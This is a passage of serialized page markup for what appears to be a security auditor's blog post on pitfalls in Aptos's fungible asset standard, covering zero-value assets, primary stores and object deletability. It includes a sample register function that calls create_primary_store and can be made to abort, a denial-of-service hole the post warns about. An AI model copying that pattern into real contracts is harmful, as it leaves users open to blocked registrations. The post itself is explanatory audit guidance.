frozen: bool,\n}\n",[1258],{"type":22,"tag":30,"props":1259,"children":1260},{"__ignoreMap":7},[1261,1286,1313,1333,1352],{"type":22,"tag":101,"props":1262,"children":1263},{"class":103,"line":104},[1264,1268,1273,1278,1282],{"type":22,"tag":101,"props":1265,"children":1266},{"style":108},[1267],{"type":27,"value":111},{"type":22,"tag":101,"props":1269,"children":1270},{"style":114},[1271],{"type":27,"value":1272}," FungibleStore",{"type":22,"tag":101,"props":1274,"children":1275},{"style":126},[1276],{"type":27,"value":1277}," has",{"type":22,"tag":101,"props":1279,"children":1280},{"style":126},[1281],{"type":27,"value":310},{"type":22,"tag":101,"props":1283,"children":1284},{"style":120},[1285],{"type":27,"value":154},{"type":22,"tag":101,"props":1287,"children":1288},{"class":103,"line":157},[1289,1293,1297,1301,1305,1309],{"type":22,"tag":101,"props":1290,"children":1291},{"style":126},[1292],{"type":27,"value":697},{"type":22,"tag":101,"props":1294,"children":1295},{"style":166},[1296],{"type":27,"value":169},{"type":22,"tag":101,"props":1298,"children":1299},{"style":114},[1300],{"type":27,"value":706},{"type":22,"tag":101,"props":1302,"children":1303},{"style":120},[1304],{"type":27,"value":123},{"type":22,"tag":101,"props":1306,"children":1307},{"style":114},[1308],{"type":27,"value":715},{"type":22,"tag":101,"props":1310,"children":1311},{"style":120},[1312],{"type":27,"value":343},{"type":22,"tag":101,"props":1314,"children":1315},{"class":103,"line":182},[1316,1321,1325,1329],{"type":22,"tag":101,"props":1317,"children":1318},{"style":126},[1319],{"type":27,"value":1320}," balance",{"type":22,"tag":101,"props":1322,"children":1323},{"style":166},[1324],{"type":27,"value":169},{"type":22,"tag":101,"props":1326,"children":1327},{"style":114},[1328],{"type":27,"value":174},{"type":22,"tag":101,"props":1330,"children":1331},{"style":120},[1332],{"type":27,"value":179},{"type":22,"tag":101,"props":1334,"children":1335},{"class":103,"line":367},[1336,1340,1344,1348],{"type":22,"tag":101,"props":1337,"children":1338},{"style":126},[1339],{"type":27,"value":351},{"type":22,"tag":101,"props":1341,"children":1342},{"style":166},[1343],{"type":27,"value":169},{"type":22,"tag":101,"props":1345,"children":1346},{"style":114},[1347],{"type":27,"value":360},{"type":22,"tag":101,"props":1349,"children":1350},{"style":120},[1351],{"type":27,"value":179},{"type":22,"tag":101,"props":1353,"children":1354},{"class":103,"line":398},[1355],{"type":22,"tag":101,"props":1356,"children":1357},{"style":120},[1358],{"type":27,"value":188},{"type":22,"tag":23,"props":1360,"children":1361},{},[1362,1367,1369,1374,1376,1381,1383,1388,1390,1395],{"type":22,"tag":30,"props":1363,"children":1365},{"className":1364},[],[1366],{"type":27,"value":1252},{"type":27,"value":1368}," manages balances and metadata instead of holding the actual ",{"type":22,"tag":30,"props":1370,"children":1372},{"className":1371},[],[1373],{"type":27,"value":656},{"type":27,"value":1375}," (it can't because ",{"type":22,"tag":30,"props":1377,"children":1379},{"className":1378},[],[1380],{"type":27,"value":656},{"type":27,"value":1382}," doesn't have ",{"type":22,"tag":30,"props":1384,"children":1386},{"className":1385},[],[1387],{"type":27,"value":256},{"type":27,"value":1389},"). Withdrawals create temporary ",{"type":22,"tag":30,"props":1391,"children":1393},{"className":1392},[],[1394],{"type":27,"value":656},{"type":27,"value":1396}," resources, while deposits destroy them and update the balance. This design prevents freezing bypasses and improves observability.",{"type":22,"tag":1398,"props":1399,"children":1400},"hr",{},[],{"type":22,"tag":23,"props":1402,"children":1403},{},[1404,1406,1411,1413,1418],{"type":27,"value":1405},"A curious reader might wonder, is there any other way to create or destroy a ",{"type":22,"tag":30,"props":1407,"children":1409},{"className":1408},[],[1410],{"type":27,"value":656},{"type":27,"value":1412}," besides withdrawing, depositing or minting it? There is — anyone can create and destroy a zero-value ",{"type":22,"tag":30,"props":1414,"children":1416},{"className":1415},[],[1417],{"type":27,"value":656},{"type":27,"value":231},{"type":22,"tag":91,"props":1420,"children":1422},{"className":93,"code":1421,"language":95,"meta":7,"style":7},"public fun destroy_zero(fungible_asset: FungibleAsset) {\n let FungibleAsset { amount, metadata: _ } = fungible_asset;\n assert!(amount == 0, error::invalid_argument(EAMOUNT_IS_NOT_ZERO));\n}\n\npublic fun zero\u003CT: key>(metadata: Object\u003CT>): FungibleAsset {\n FungibleAsset {\n metadata: object::convert(metadata),\n amount: 0,\n }\n}\n",[1423],{"type":22,"tag":30,"props":1424,"children":1425},{"__ignoreMap":7},[1426,1464,1521,1567,1574,1582,1656,1668,1707,1727,1735],{"type":22,"tag":101,"props":1427,"children":1428},{"class":103,"line":104},[1429,1433,1437,1442,1446,1451,1455,1459],{"type":22,"tag":101,"props":1430,"children":1431},{"style":126},[1432],{"type":27,"value":821},{"type":22,"tag":101,"props":1434,"children":1435},{"style":126},[1436],{"type":27,"value":826},{"type":22,"tag":101,"props":1438,"children":1439},{"style":926},[1440],{"type":27,"value":1441}," destroy_zero",{"type":22,"tag":101,"props":1443,"children":1444},{"style":120},[1445],{"type":27,"value":980},{"type":22,"tag":101,"props":1447,"children":1448},{"style":126},[1449],{"type":27,"value":1450},"fungible_asset",{"type":22,"tag":101,"props":1452,"children":1453},{"style":166},[1454],{"type":27,"value":169},{"type":22,"tag":101,"props":1456,"children":1457},{"style":114},[1458],{"type":27,"value":685},{"type":22,"tag":101,"props":1460,"children":1461},{"style":120},[1462],{"type":27,"value":1463},") {\n",{"type":22,"tag":101,"props":1465,"children":1466},{"class":103,"line":157},[1467,1471,1475,1480,1484,1488,1493,1497,1502,1507,1512,1516],{"type":22,"tag":101,"props":1468,"children":1469},{"style":108},[1470],{"type":27,"value":950},{"type":22,"tag":101,"props":1472,"children":1473},{"style":114},[1474],{"type":27,"value":685},{"type":22,"tag":101,"props":1476,"children":1477},{"style":120},[1478],{"type":27,"value":1479}," { ",{"type":22,"tag":101,"props":1481,"children":1482},{"style":126},[1483],{"type":27,"value":975},{"type":22,"tag":101,"props":1485,"children":1486},{"style":120},[1487],{"type":27,"value":758},{"type":22,"tag":101,"props":1489,"children":1490},{"style":126},[1491],{"type":27,"value":1492},"metadata",{"type":22,"tag":101,"props":1494,"children":1495},{"style":166},[1496],{"type":27,"value":169},{"type":22,"tag":101,"props":1498,"children":1499},{"style":126},[1500],{"type":27,"value":1501}," _",{"type":22,"tag":101,"props":1503,"children":1504},{"style":120},[1505],{"type":27,"value":1506}," } ",{"type":22,"tag":101,"props":1508,"children":1509},{"style":166},[1510],{"type":27,"value":1511},"=",{"type":22,"tag":101,"props":1513,"children":1514},{"style":126},[1515],{"type":27,"value":965},{"type":22,"tag":101,"props":1517,"children":1518},{"style":120},[1519],{"type":27,"value":1520},";\n",{"type":22,"tag":101,"props":1522,"children":1523},{"class":103,"line":182},[1524,1529,1533,1537,1542,1548,1553,1557,1562],{"type":22,"tag":101,"props":1525,"children":1526},{"style":926},[1527],{"type":27,"value":1528}," assert!",{"type":22,"tag":101,"props":1530,"children":1531},{"style":120},[1532],{"type":27,"value":980},{"type":22,"tag":101,"props":1534,"children":1535},{"style":126},[1536],{"type":27,"value":975},{"type":22,"tag":101,"props":1538,"children":1539},{"style":166},[1540],{"type":27,"value":1541}," ==",{"type":22,"tag":101,"props":1543,"children":1545},{"style":1544},"--shiki-default:#B5CEA8",[1546],{"type":27,"value":1547}," 0",{"type":22,"tag":101,"props":1549,"children":1550},{"style":120},[1551],{"type":27,"value":1552},", error",{"type":22,"tag":101,"props":1554,"children":1555},{"style":166},[1556],{"type":27,"value":970},{"type":22,"tag":101,"props":1558,"children":1559},{"style":926},[1560],{"type":27,"value":1561},"invalid_argument",{"type":22,"tag":101,"props":1563,"children":1564},{"style":120},[1565],{"type":27,"value":1566},"(EAMOUNT_IS_NOT_ZERO));\n",{"type":22,"tag":101,"props":1568,"children":1569},{"class":103,"line":367},[1570],{"type":22,"tag":101,"props":1571,"children":1572},{"style":120},[1573],{"type":27,"value":188},{"type":22,"tag":101,"props":1575,"children":1576},{"class":103,"line":398},[1577],{"type":22,"tag":101,"props":1578,"children":1579},{"emptyLinePlaceholder":15},[1580],{"type":27,"value":1581},"\n",{"type":22,"tag":101,"props":1583,"children":1584},{"class":103,"line":428},[1585,1589,1593,1598,1602,1606,1610,1614,1619,1623,1627,1631,1635,1639,1644,1648,1652],{"type":22,"tag":101,"props":1586,"children":1587},{"style":126},[1588],{"type":27,"value":821},{"type":22,"tag":101,"props":1590,"children":1591},{"style":126},[1592],{"type":27,"value":826},{"type":22,"tag":101,"props":1594,"children":1595},{"style":126},[1596],{"type":27,"value":1597}," zero",{"type":22,"tag":101,"props":1599,"children":1600},{"style":120},[1601],{"type":27,"value":123},{"type":22,"tag":101,"props":1603,"children":1604},{"style":114},[1605],{"type":27,"value":840},{"type":22,"tag":101,"props":1607,"children":1608},{"style":166},[1609],{"type":27,"value":169},{"type":22,"tag":101,"props":1611,"children":1612},{"style":126},[1613],{"type":27,"value":310},{"type":22,"tag":101,"props":1615,"children":1616},{"style":120},[1617],{"type":27,"value":1618},">(",{"type":22,"tag":101,"props":1620,"children":1621},{"style":126},[1622],{"type":27,"value":1492},{"type":22,"tag":101,"props":1624,"children":1625},{"style":166},[1626],{"type":27,"value":169},{"type":22,"tag":101,"props":1628,"children":1629},{"style":114},[1630],{"type":27,"value":706},{"type":22,"tag":101,"props":1632,"children":1633},{"style":120},[1634],{"type":27,"value":123},{"type":22,"tag":101,"props":1636,"children":1637},{"style":114},[1638],{"type":27,"value":840},{"type":22,"tag":101,"props":1640,"children":1641},{"style":120},[1642],{"type":27,"value":1643},">)",{"type":22,"tag":101,"props":1645,"children":1646},{"style":166},[1647],{"type":27,"value":169},{"type":22,"tag":101,"props":1649,"children":1650},{"style":114},[1651],{"type":27,"value":685},{"type":22,"tag":101,"props":1653,"children":1654},{"style":120},[1655],{"type":27,"value":154},{"type":22,"tag":101,"props":1657,"children":1658},{"class":103,"line":997},[1659,1664],{"type":22,"tag":101,"props":1660,"children":1661},{"style":114},[1662],{"type":27,"value":1663}," FungibleAsset",{"type":22,"tag":101,"props":1665,"children":1666},{"style":120},[1667],{"type":27,"value":154},{"type":22,"tag":101,"props":1669,"children":1670},{"class":103,"line":1032},[1671,1676,1680,1685,1689,1694,1698,1702],{"type":22,"tag":101,"props":1672,"children":1673},{"style":126},[1674],{"type":27,"value":1675}," metadata",{"type":22,"tag":101,"props":1677,"children":1678},{"style":166},[1679],{"type":27,"value":169},{"type":22,"tag":101,"props":1681,"children":1682},{"style":120},[1683],{"type":27,"value":1684}," object",{"type":22,"tag":101,"props":1686,"children":1687},{"style":166},[1688],{"type":27,"value":970},{"type":22,"tag":101,"props":1690,"children":1691},{"style":926},[1692],{"type":27,"value":1693},"convert",{"type":22,"tag":101,"props":1695,"children":1696},{"style":120},[1697],{"type":27,"value":980},{"type":22,"tag":101,"props":1699,"children":1700},{"style":126},[1701],{"type":27,"value":1492},{"type":22,"tag":101,"props":1703,"children":1704},{"style":120},[1705],{"type":27,"value":1706},"),\n",{"type":22,"tag":101,"props":1708,"children":1709},{"class":103,"line":1063},[1710,1715,1719,1723],{"type":22,"tag":101,"props":1711,"children":1712},{"style":126},[1713],{"type":27,"value":1714}," amount",{"type":22,"tag":101,"props":1716,"children":1717},{"style":166},[1718],{"type":27,"value":169},{"type":22,"tag":101,"props":1720,"children":1721},{"style":1544},[1722],{"type":27,"value":1547},{"type":22,"tag":101,"props":1724,"children":1725},{"style":120},[1726],{"type":27,"value":179},{"type":22,"tag":101,"props":1728,"children":1729},{"class":103,"line":1071},[1730],{"type":22,"tag":101,"props":1731,"children":1732},{"style":120},[1733],{"type":27,"value":1734}," }\n",{"type":22,"tag":101,"props":1736,"children":1737},{"class":103,"line":1110},[1738],{"type":22,"tag":101,"props":1739,"children":1740},{"style":120},[1741],{"type":27,"value":188},{"type":22,"tag":23,"props":1743,"children":1744},{},[1745],{"type":27,"value":1746},"In theory, this shouldn’t pose a problem. After all, having zero of something doesn’t exactly qualify as ownership.",{"type":22,"tag":23,"props":1748,"children":1749},{},[1750,1752,1757],{"type":27,"value":1751},"In practice, the ability to freely mint and burn zero ",{"type":22,"tag":30,"props":1753,"children":1755},{"className":1754},[],[1756],{"type":27,"value":799},{"type":27,"value":1758}," of any type could present a significant risk. During our reviews, we enountered many protocols that did not account for this possibility, leading to arithmetic errors, DoS logic bugs or inaccurate calculations. Keep in mind that edge case, we'll come back to this.",{"type":22,"tag":1760,"props":1761,"children":1763},"h3",{"id":1762},"primary-and-secondary-stores",[1764],{"type":27,"value":1765},"Primary and secondary stores",{"type":22,"tag":23,"props":1767,"children":1768},{},[1769,1775,1777,1783,1785,1790],{"type":22,"tag":30,"props":1770,"children":1772},{"className":1771},[],[1773],{"type":27,"value":1774},"FungibleStores",{"type":27,"value":1776}," in comparison to ",{"type":22,"tag":30,"props":1778,"children":1780},{"className":1779},[],[1781],{"type":27,"value":1782},"CoinStores",{"type":27,"value":1784}," are not unique. Each user can have multiple ",{"type":22,"tag":30,"props":1786,"children":1788},{"className":1787},[],[1789],{"type":27,"value":1252},{"type":27,"value":1791}," objects for a given token!",{"type":22,"tag":23,"props":1793,"children":1794},{},[1795,1797,1804,1806,1811],{"type":27,"value":1796},"A primary fungible store is maintained via the aptly named ",{"type":22,"tag":80,"props":1798,"children":1801},{"href":1799,"rel":1800},"https://github.com/aptos-labs/aptos-core/blob/2bea962eac4743db6cc0ae2e8a2fd7fcc323b121/aptos-move/framework/aptos-framework/sources/primary_fungible_store.move",[84],[1802],{"type":27,"value":1803},"primary_fungible_store",{"type":27,"value":1805}," module. It's \"primary\" because of its deterministic location, which is calculated using the owner and the fungible asset's ",{"type":22,"tag":30,"props":1807,"children":1809},{"className":1808},[],[1810],{"type":27,"value":715},{"type":27,"value":1812}," addresses. Users can also create a number of \"secondary\" fungible stores by themselves.",{"type":22,"tag":23,"props":1814,"children":1815},{},[1816],{"type":27,"value":1817},"One key feature of the primary fungible stores is their permissionless creation. This can lead to surprising denial of service bugs!",{"type":22,"tag":91,"props":1819,"children":1821},{"className":93,"code":1820,"language":95,"meta":7,"style":7},"public entry fun register(\n user: &signer, [...]\n) acquires [...] {\n [...]\n let wallet_store = create_primary_store(signer::address_of(sender), get_metadata());\n [...]\n}\n",[1822],{"type":22,"tag":30,"props":1823,"children":1824},{"__ignoreMap":7},[1825,1851,1885,1908,1924,1981,1996],{"type":22,"tag":101,"props":1826,"children":1827},{"class":103,"line":104},[1828,1832,1837,1841,1846],{"type":22,"tag":101,"props":1829,"children":1830},{"style":126},[1831],{"type":27,"value":821},{"type":22,"tag":101,"props":1833,"children":1834},{"style":126},[1835],{"type":27,"value":1836}," entry",{"type":22,"tag":101,"props":1838,"children":1839},{"style":126},[1840],{"type":27,"value":826},{"type":22,"tag":101,"props":1842,"children":1843},{"style":926},[1844],{"type":27,"value":1845}," register",{"type":22,"tag":101,"props":1847,"children":1848},{"style":120},[1849],{"type":27,"value":1850},"(\n",{"type":22,"tag":101,"props":1852,"children":1853},{"class":103,"line":157},[1854,1859,1863,1867,1871,1876,1880],{"type":22,"tag":101,"props":1855,"children":1856},{"style":126},[1857],{"type":27,"value":1858}," user",{"type":22,"tag":101,"props":1860,"children":1861},{"style":166},[1862],{"type":27,"value":169},{"type":22,"tag":101,"props":1864,"children":1865},{"style":166},[1866],{"type":27,"value":870},{"type":22,"tag":101,"props":1868,"children":1869},{"style":126},[1870],{"type":27,"value":875},{"type":22,"tag":101,"props":1872,"children":1873},{"style":120},[1874],{"type":27,"value":1875},", [",{"type":22,"tag":101,"props":1877,"children":1878},{"style":166},[1879],{"type":27,"value":614},{"type":22,"tag":101,"props":1881,"children":1882},{"style":120},[1883],{"type":27,"value":1884},"]\n",{"type":22,"tag":101,"props":1886,"children":1887},{"class":103,"line":182},[1888,1892,1896,1900,1904],{"type":22,"tag":101,"props":1889,"children":1890},{"style":120},[1891],{"type":27,"value":901},{"type":22,"tag":101,"props":1893,"children":1894},{"style":126},[1895],{"type":27,"value":906},{"type":22,"tag":101,"props":1897,"children":1898},{"style":120},[1899],{"type":27,"value":911},{"type":22,"tag":101,"props":1901,"children":1902},{"style":166},[1903],{"type":27,"value":614},{"type":22,"tag":101,"props":1905,"children":1906},{"style":120},[1907],{"type":27,"value":920},{"type":22,"tag":101,"props":1909,"children":1910},{"class":103,"line":367},[1911,1916,1920],{"type":22,"tag":101,"props":1912,"children":1913},{"style":120},[1914],{"type":27,"value":1915}," [",{"type":22,"tag":101,"props":1917,"children":1918},{"style":166},[1919],{"type":27,"value":614},{"type":22,"tag":101,"props":1921,"children":1922},{"style":120},[1923],{"type":27,"value":1884},{"type":22,"tag":101,"props":1925,"children":1926},{"class":103,"line":398},[1927,1931,1936,1940,1945,1950,1954,1959,1963,1967,1971,1976],{"type":22,"tag":101,"props":1928,"children":1929},{"style":108},[1930],{"type":27,"value":950},{"type":22,"tag":101,"props":1932,"children":1933},{"style":126},[1934],{"type":27,"value":1935}," wallet_store",{"type":22,"tag":101,"props":1937,"children":1938},{"style":166},[1939],{"type":27,"value":960},{"type":22,"tag":101,"props":1941,"children":1942},{"style":926},[1943],{"type":27,"value":1944}," create_primary_store",{"type":22,"tag":101,"props":1946,"children":1947},{"style":120},[1948],{"type":27,"value":1949},"(signer",{"type":22,"tag":101,"props":1951,"children":1952},{"style":166},[1953],{"type":27,"value":970},{"type":22,"tag":101,"props":1955,"children":1956},{"style":926},[1957],{"type":27,"value":1958},"address_of",{"type":22,"tag":101,"props":1960,"children":1961},{"style":120},[1962],{"type":27,"value":980},{"type":22,"tag":101,"props":1964,"children":1965},{"style":126},[1966],{"type":27,"value":1025},{"type":22,"tag":101,"props":1968,"children":1969},{"style":120},[1970],{"type":27,"value":1099},{"type":22,"tag":101,"props":1972,"children":1973},{"style":926},[1974],{"type":27,"value":1975},"get_metadata",{"type":22,"tag":101,"props":1977,"children":1978},{"style":120},[1979],{"type":27,"value":1980},"());\n",{"type":22,"tag":101,"props":1982,"children":1983},{"class":103,"line":428},[1984,1988,1992],{"type":22,"tag":101,"props":1985,"children":1986},{"style":120},[1987],{"type":27,"value":1915},{"type":22,"tag":101,"props":1989,"children":1990},{"style":166},[1991],{"type":27,"value":614},{"type":22,"tag":101,"props":1993,"children":1994},{"style":120},[1995],{"type":27,"value":1884},{"type":22,"tag":101,"props":1997,"children":1998},{"class":103,"line":997},[1999],{"type":22,"tag":101,"props":2000,"children":2001},{"style":120},[2002],{"type":27,"value":188},{"type":22,"tag":23,"props":2004,"children":2005},{},[2006,2008,2014,2016,2022],{"type":27,"value":2007},"The ",{"type":22,"tag":30,"props":2009,"children":2011},{"className":2010},[],[2012],{"type":27,"value":2013},"create_primary_store",{"type":27,"value":2015}," function can introduce DoS vulnerabilities because it aborts if the store already exists. Using ",{"type":22,"tag":30,"props":2017,"children":2019},{"className":2018},[],[2020],{"type":27,"value":2021},"ensure_primary_store_exists",{"type":27,"value":2023}," is recommended to avoid such issues.",{"type":22,"tag":53,"props":2025,"children":2027},{"id":2026},"fungible-assets-and-objects",[2028],{"type":27,"value":2029},"Fungible assets and objects",{"type":22,"tag":23,"props":2031,"children":2032},{},[2033,2035,2041,2043,2050],{"type":27,"value":2034},"The fungible asset standard is not a standalone module. It has heavy dependencies on a sibling module, the ",{"type":22,"tag":30,"props":2036,"children":2038},{"className":2037},[],[2039],{"type":27,"value":2040},"Object",{"type":27,"value":2042}," module, introduced in ",{"type":22,"tag":80,"props":2044,"children":2047},{"href":2045,"rel":2046},"https://github.com/aptos-foundation/AIPs/blob/main/aips/aip-10.md",[84],[2048],{"type":27,"value":2049},"AIP-10",{"type":27,"value":231},{"type":22,"tag":604,"props":2052,"children":2053},{},[2054],{"type":22,"tag":23,"props":2055,"children":2056},{},[2057,2061],{"type":22,"tag":101,"props":2058,"children":2059},{},[2060],{"type":27,"value":593},{"type":27,"value":2062}," proposes a standard for Fungible Assets (FA) using Move Objects. In this model, any on-chain asset represented as an object can also be expressed as a fungible asset allowing for a single object to be represented by many distinct, yet interchangeable units of ownership.",{"type":22,"tag":23,"props":2064,"children":2065},{},[2066],{"type":27,"value":2067},"These two modules are closely intertwined, and their connection can be surprisingly intricate.",{"type":22,"tag":1760,"props":2069,"children":2071},{"id":2070},"creation-and-deletion",[2072],{"type":27,"value":2073},"Creation and deletion",{"type":22,"tag":23,"props":2075,"children":2076},{},[2077,2079,2085],{"type":27,"value":2078},"To create a fungible resource, an undeletable object must first be created. \"Undeletable\" means, that it's not possible to get a permission to delete it. This is verified in ",{"type":22,"tag":30,"props":2080,"children":2082},{"className":2081},[],[2083],{"type":27,"value":2084},"fungible_asset::add_fungibility",{"type":27,"value":169},{"type":22,"tag":91,"props":2087,"children":2089},{"className":93,"code":2088,"language":95,"meta":7,"style":7},"assert!(!object::can_generate_delete_ref(constructor_ref), error::invalid_argument(EOBJECT_IS_DELETABLE));\n",[2090],{"type":22,"tag":30,"props":2091,"children":2092},{"__ignoreMap":7},[2093],{"type":22,"tag":101,"props":2094,"children":2095},{"class":103,"line":104},[2096,2101,2105,2110,2115,2119,2124,2128,2133,2138,2142,2146],{"type":22,"tag":101,"props":2097,"children":2098},{"style":926},[2099],{"type":27,"value":2100},"assert!",{"type":22,"tag":101,"props":2102,"children":2103},{"style":120},[2104],{"type":27,"value":980},{"type":22,"tag":101,"props":2106,"children":2107},{"style":166},[2108],{"type":27,"value":2109},"!",{"type":22,"tag":101,"props":2111,"children":2112},{"style":120},[2113],{"type":27,"value":2114},"object",{"type":22,"tag":101,"props":2116,"children":2117},{"style":166},[2118],{"type":27,"value":970},{"type":22,"tag":101,"props":2120,"children":2121},{"style":926},[2122],{"type":27,"value":2123},"can_generate_delete_ref",{"type":22,"tag":101,"props":2125,"children":2126},{"style":120},[2127],{"type":27,"value":980},{"type":22,"tag":101,"props":2129,"children":2130},{"style":126},[2131],{"type":27,"value":2132},"constructor_ref",{"type":22,"tag":101,"props":2134,"children":2135},{"style":120},[2136],{"type":27,"value":2137},"), error",{"type":22,"tag":101,"props":2139,"children":2140},{"style":166},[2141],{"type":27,"value":970},{"type":22,"tag":101,"props":2143,"children":2144},{"style":926},[2145],{"type":27,"value":1561},{"type":22,"tag":101,"props":2147,"children":2148},{"style":120},[2149],{"type":27,"value":2150},"(EOBJECT_IS_DELETABLE));\n",{"type":22,"tag":23,"props":2152,"children":2153},{},[2154,2156,2161,2163,2168,2170,2177],{"type":27,"value":2155},"This object serves as the foundation for ownership tokens in the form of a ",{"type":22,"tag":30,"props":2157,"children":2159},{"className":2158},[],[2160],{"type":27,"value":656},{"type":27,"value":2162},". This means that allowing it to be deletable wouldn't make sense and would impact the usability of such fungible assets, restricting users from accessing critical functionalities such as creating new stores. In the past the ",{"type":22,"tag":30,"props":2164,"children":2166},{"className":2165},[],[2167],{"type":27,"value":2084},{"type":27,"value":2169}," ",{"type":22,"tag":80,"props":2171,"children":2174},{"href":2172,"rel":2173},"https://github.com/aptos-labs/aptos-core/commit/6976f8e9004b0f6ebb6fd976410d695c5a5a7ace",[84],[2175],{"type":27,"value":2176},"lacked this assert",{"type":27,"value":2178},", which we discovered and reported.",{"type":22,"tag":23,"props":2180,"children":2181},{},[2182,2187,2189,2194,2196,2201],{"type":22,"tag":30,"props":2183,"children":2185},{"className":2184},[],[2186],{"type":27,"value":2084},{"type":27,"value":2188}," transfers the ",{"type":22,"tag":30,"props":2190,"children":2192},{"className":2191},[],[2193],{"type":27,"value":715},{"type":27,"value":2195}," and associated resources to this new object. After that, with the appropriate permissions, the ",{"type":22,"tag":30,"props":2197,"children":2199},{"className":2198},[],[2200],{"type":27,"value":656},{"type":27,"value":2202}," can be minted, representing a share of ownership in that object.",{"type":22,"tag":91,"props":2204,"children":2206},{"className":93,"code":2205,"language":95,"meta":7,"style":7},"/// Make an existing object fungible by adding the Metadata resource.\npublic fun add_fungibility(\n [...]\n): Object\u003CMetadata> {\n [...]\n move_to(metadata_object_signer,\n Metadata {\n name,\n symbol,\n decimals,\n icon_uri,\n project_uri,\n }\n );\n[...]\n}\n",[2207],{"type":22,"tag":30,"props":2208,"children":2209},{"__ignoreMap":7},[2210,2219,2239,2254,2283,2298,2319,2331,2343,2355,2367,2379,2391,2399,2407,2423],{"type":22,"tag":101,"props":2211,"children":2212},{"class":103,"line":104},[2213],{"type":22,"tag":101,"props":2214,"children":2216},{"style":2215},"--shiki-default:#6A9955",[2217],{"type":27,"value":2218},"/// Make an existing object fungible by adding the Metadata resource.\n",{"type":22,"tag":101,"props":2220,"children":2221},{"class":103,"line":157},[2222,2226,2230,2235],{"type":22,"tag":101,"props":2223,"children":2224},{"style":126},[2225],{"type":27,"value":821},{"type":22,"tag":101,"props":2227,"children":2228},{"style":126},[2229],{"type":27,"value":826},{"type":22,"tag":101,"props":2231,"children":2232},{"style":926},[2233],{"type":27,"value":2234}," add_fungibility",{"type":22,"tag":101,"props":2236,"children":2237},{"style":120},[2238],{"type":27,"value":1850},{"type":22,"tag":101,"props":2240,"children":2241},{"class":103,"line":182},[2242,2246,2250],{"type":22,"tag":101,"props":2243,"children":2244},{"style":120},[2245],{"type":27,"value":1915},{"type":22,"tag":101,"props":2247,"children":2248},{"style":166},[2249],{"type":27,"value":614},{"type":22,"tag":101,"props":2251,"children":2252},{"style":120},[2253],{"type":27,"value":1884},{"type":22,"tag":101,"props":2255,"children":2256},{"class":103,"line":367},[2257,2262,2266,2270,2274,2278],{"type":22,"tag":101,"props":2258,"children":2259},{"style":120},[2260],{"type":27,"value":2261},")",{"type":22,"tag":101,"props":2263,"children":2264},{"style":166},[2265],{"type":27,"value":169},{"type":22,"tag":101,"props":2267,"children":2268},{"style":114},[2269],{"type":27,"value":706},{"type":22,"tag":101,"props":2271,"children":2272},{"style":120},[2273],{"type":27,"value":123},{"type":22,"tag":101,"props":2275,"children":2276},{"style":114},[2277],{"type":27,"value":715},{"type":22,"tag":101,"props":2279,"children":2280},{"style":120},[2281],{"type":27,"value":2282},"> {\n",{"type":22,"tag":101,"props":2284,"children":2285},{"class":103,"line":398},[2286,2290,2294],{"type":22,"tag":101,"props":2287,"children":2288},{"style":120},[2289],{"type":27,"value":1915},{"type":22,"tag":101,"props":2291,"children":2292},{"style":166},[2293],{"type":27,"value":614},{"type":22,"tag":101,"props":2295,"children":2296},{"style":120},[2297],{"type":27,"value":1884},{"type":22,"tag":101,"props":2299,"children":2300},{"class":103,"line":428},[2301,2306,2310,2315],{"type":22,"tag":101,"props":2302,"children":2303},{"style":926},[2304],{"type":27,"value":2305}," move_to",{"type":22,"tag":101,"props":2307,"children":2308},{"style":120},[2309],{"type":27,"value":980},{"type":22,"tag":101,"props":2311,"children":2312},{"style":126},[2313],{"type":27,"value":2314},"metadata_object_signer",{"type":22,"tag":101,"props":2316,"children":2317},{"style":120},[2318],{"type":27,"value":179},{"type":22,"tag":101,"props":2320,"children":2321},{"class":103,"line":997},[2322,2327],{"type":22,"tag":101,"props":2323,"children":2324},{"style":114},[2325],{"type":27,"value":2326}," Metadata",{"type":22,"tag":101,"props":2328,"children":2329},{"style":120},[2330],{"type":27,"value":154},{"type":22,"tag":101,"props":2332,"children":2333},{"class":103,"line":1032},[2334,2339],{"type":22,"tag":101,"props":2335,"children":2336},{"style":126},[2337],{"type":27,"value":2338}," name",{"type":22,"tag":101,"props":2340,"children":2341},{"style":120},[2342],{"type":27,"value":179},{"type":22,"tag":101,"props":2344,"children":2345},{"class":103,"line":1063},[2346,2351],{"type":22,"tag":101,"props":2347,"children":2348},{"style":126},[2349],{"type":27,"value":2350}," symbol",{"type":22,"tag":101,"props":2352,"children":2353},{"style":120},[2354],{"type":27,"value":179},{"type":22,"tag":101,"props":2356,"children":2357},{"class":103,"line":1071},[2358,2363],{"type":22,"tag":101,"props":2359,"children":2360},{"style":126},[2361],{"type":27,"value":2362}," decimals",{"type":22,"tag":101,"props":2364,"children":2365},{"style":120},[2366],{"type":27,"value":179},{"type":22,"tag":101,"props":2368,"children":2369},{"class":103,"line":1110},[2370,2375],{"type":22,"tag":101,"props":2371,"children":2372},{"style":126},[2373],{"type":27,"value":2374}," icon_uri",{"type":22,"tag":101,"props":2376,"children":2377},{"style":120},[2378],{"type":27,"value":179},{"type":22,"tag":101,"props":2380,"children":2381},{"class":103,"line":1118},[2382,2387],{"type":22,"tag":101,"props":2383,"children":2384},{"style":126},[2385],{"type":27,"value":2386}," project_uri",{"type":22,"tag":101,"props":2388,"children":2389},{"style":120},[2390],{"type":27,"value":179},{"type":22,"tag":101,"props":2392,"children":2393},{"class":103,"line":1158},[2394],{"type":22,"tag":101,"props":2395,"children":2396},{"style":120},[2397],{"type":27,"value":2398}," }\n",{"type":22,"tag":101,"props":2400,"children":2401},{"class":103,"line":1166},[2402],{"type":22,"tag":101,"props":2403,"children":2404},{"style":120},[2405],{"type":27,"value":2406}," );\n",{"type":22,"tag":101,"props":2408,"children":2409},{"class":103,"line":1215},[2410,2415,2419],{"type":22,"tag":101,"props":2411,"children":2412},{"style":120},[2413],{"type":27,"value":2414},"[",{"type":22,"tag":101,"props":2416,"children":2417},{"style":166},[2418],{"type":27,"value":614},{"type":22,"tag":101,"props":2420,"children":2421},{"style":120},[2422],{"type":27,"value":1884},{"type":22,"tag":101,"props":2424,"children":2426},{"class":103,"line":2425},16,[2427],{"type":22,"tag":101,"props":2428,"children":2429},{"style":120},[2430],{"type":27,"value":188},{"type":22,"tag":1398,"props":2432,"children":2433},{},[],{"type":22,"tag":23,"props":2435,"children":2436},{},[2437,2439,2444,2446,2451],{"type":27,"value":2438},"Deletions can be a big issue even when dealing with objects that are eligible for deletion. For example, a ",{"type":22,"tag":30,"props":2440,"children":2442},{"className":2441},[],[2443],{"type":27,"value":1252},{"type":27,"value":2445}," is also an object, and a \"secondary\" 